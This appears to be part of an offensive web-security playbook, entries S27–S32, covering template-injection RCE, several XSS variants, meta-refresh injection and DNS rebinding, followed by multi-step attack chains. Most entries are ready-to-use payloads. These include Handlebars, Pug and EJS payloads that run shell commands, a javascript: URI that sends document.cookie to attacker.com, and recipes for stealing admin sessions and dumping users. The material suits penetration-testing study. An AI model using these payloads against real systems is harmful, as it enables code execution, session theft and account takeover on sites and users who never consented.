## S27: XSS via Template Engine (Handlebars, Pug, EJS)
**Context:** Server-side template engine that allows user input in template compilation
**Seen in:** Real — multiple bug bounty reports
**Impact:** RCE or XSS via template injection

### Detection
```bash
# Server-side template injection (SSTI) detection:
# {{7*7}} in input
curl "https://target.com/?name={{7*7}}"
# Check if response contains "49" → SSTI likely
# Then for XSS specifically, use template helpers
```

### Exploit
```bash
# Handlebars (Node.js):
{{#with "s" as |string|}}
  {{#with "e" as |enc|}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('id');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
# Pug/Jade (Node.js):
- var x = root.process.mainModule.require
- var o = x('child_process').execSync('id').toString()
= o
# EJS (Node.js):
<%- global.process.mainModule.require('child_process').execSync('id') %>
```

### Chain
1. Find SSTI in parameter
2. Confirm with `{{7*7}}` → 49
3. RCE via template helpers (most useful outcome)
4. Or XSS via template syntax if app outputs HTML

### Bypass / Notes
- Most template engines sandbox by default in newer versions
- Old versions often vulnerable
- See rt-exploit-injection for full SSTI coverage

---

## S28: XSS via JavaScript URI in href
**Context:** App accepts URL input (link/profile/redirect) and allows javascript: scheme
**Seen in:** Real — Twitter, Facebook, many sites
**Impact:** One-click XSS

### Detection
```bash
# Test if href attribute allows javascript:
# Input as URL:
javascript:alert(1)
# Test as link:
# input: javascript:alert(document.cookie)
# Output: <a href="javascript:alert(document.cookie)">link</a>
```

### Exploit
```bash
# JavaScript URI variants:
javascript:alert(1)
javascript:alert`1`
javascript:void(0)
javascript:void(document.location='https://attacker.com/?c='+document.cookie)
# With leading whitespace:
%0Ajavascript:alert(1)
%09javascript:alert(1)
# Encoded:
java%0ascript:alert(1)
j%0Aavascript:alert(1)
# Newline bypass:
javasc%0Aript:alert(1)
```

### Chain
1. Find URL input that becomes href
2. Inject javascript: URI
3. User clicks link → XSS fires
4. Phishing: link text "interesting article" → redirects to attacker page

### Bypass / Notes
- Most modern apps block javascript: scheme in URLs
- But often forget URL encoding tricks
- Check content-type — `data:text/html,...` sometimes allowed

---

## S29: XSS in Error Pages (404/500)
**Context:** App's custom 404/500 page reflects the requested URL
**Seen in:** Real — many bug bounty reports (Shopify, others)
**Impact:** Reflected XSS via crafted URL

### Detection
```bash
# Test if error page reflects URL:
curl -s "https://target.com/<script>alert(1)</script>" | grep "alert(1)"
# Or test with random path:
curl -s "https://target.com/nonexistent" | head -c 500
```

### Exploit
```bash
# Direct path-based XSS:
https://target.com/<script>alert(1)</script>
# If HTML encoded but reflected in attribute:
https://target.com/" onmouseover="alert(1)" x="
# If reflected in JavaScript:
https://target.com/'-alert(1)-'
# Using # to avoid server-side check:
https://target.com/#<script>alert(1)</script>
```

### Chain
1. Find error page that reflects URL
2. Craft URL with XSS payload
3. Send to victim as link
4. Click → XSS fires

### Bypass / Notes
- Many apps use generic error page → check
- Stack traces often reflect input (don't include real DOM XSS)
- Default 404 from frameworks (Express, Django) usually safe

---

## S30: XSS via Path Parameter Reflected in Source
**Context:** REST API path (e.g., /api/user/123) reflected in error message or response
**Seen in:** Real — many APIs with bad error handling
**Impact:** Stored or reflected XSS

### Detection
```bash
# Test path reflection:
curl -s "https://target.com/api/user/<script>alert(1)</script>"
# Check response for unescaped injection
```

### Exploit
```bash
# If app returns error like: User '<script>alert(1)</script>' not found
# And renders in HTML:
GET /api/user/<script>alert(1)</script>
# Browser renders error → XSS
```

### Chain
1. Find API that returns user input in HTML
2. Inject XSS in path
3. Get victim to visit URL
4. XSS fires

### Bypass / Notes
- Most APIs return JSON, not HTML
- Some return HTML for debugging → vulnerable
- Stack traces often leak in dev mode

---

## S31: XSS via Meta Refresh Injection
**Context:** App generates HTML with user input in meta tag or refresh URL
**Seen in:** Real — email templates, custom HTML generators
**Impact:** Redirect-based phishing or XSS

### Detection
```bash
# If user input appears in <meta> tag context:
# Test: <meta http-equiv="refresh" content="0;url=https://attacker.com/">
```

### Exploit
```html
<!-- In user-controlled field that becomes meta tag content: -->
"><meta http-equiv="refresh" content="0;url=https://attacker.com/">
<!-- Or if app generates <meta> with user URL: -->
User-controlled URL: "><script>alert(1)</script>
```

### Chain
1. Find field that becomes meta tag
2. Inject meta refresh to attacker URL
3. Victim loads page → redirected to phishing
4. Or inject script via tag closure

### Bypass / Notes
- Old email clients render meta refresh
- Some CMS systems allow custom HTML head
- Combined with other XSS for stealth

---

## S32: XSS via DNS Rebinding to Bypass Host Check
**Context:** App checks Host header or origin to prevent SSRF/internal access
**Seen in:** Real — research and CTF; rare in prod
**Impact:** Bypass host check + execute JS in target context

### Detection
```bash
# If app fetches URL with host check:
# curl http://localhost/ → blocked
# But what if attacker.com DNS resolves to 127.0.0.1?
# Apps usually check string "localhost" but not DNS resolution
```

### Exploit
```bash
# 1. Set up attacker domain: evil.com → 127.0.0.1 (initially)
# 2. App makes request to evil.com (allowlisted)
# 3. Rebind DNS: evil.com → 127.0.0.1
# 4. App's next request to evil.com goes to localhost
# Tools: rebinder, whonow, singularity
```

### Chain
1. Set up DNS rebinding service (rebinder.org or custom)
2. Find endpoint that makes request based on user URL with host check
3. Submit URL with rebinding domain
4. After initial DNS cache expires, request hits internal target
5. SSRF + access internal services

### Bypass / Notes
- DNS rebinding has time constraints (TTL)
- Some browsers cache DNS
- Effective when combined with CORS or SSRF

---

## Real-World Chain Examples

### Chain A: Self-XSS → XSS via Service Worker
1. Find self-XSS (only fires on your own account)
2. Register Service Worker from self-XSS
3. SW persists, intercepts all future requests
4. Other users now get XSS via SW poisoning

### Chain B: Subdomain XSS → Main Domain CORS
1. XSS on subdomain (e.g., blog.target.com)
2. CORS allows *.target.com
3. Use subdomain XSS to make authenticated requests to main domain
4. Steal user data from main domain

### Chain C: Markdown XSS → PDF Generation
1. Inject XSS in markdown content
2. App generates PDF using wkhtmltopdf
3. XSS fires during PDF generation in server context
4. Read local files via file:// access in wkhtmltopdf
5. Pivot to internal services

### Chain D: Blind XSS → Admin → Full Backend
1. Inject XSSHunter in support ticket
2. Admin views ticket → XSS fires
3. Steal admin session via XSSHunter callback
4. Use admin session to access backend
5. Dump users, change admin passwords, pivot
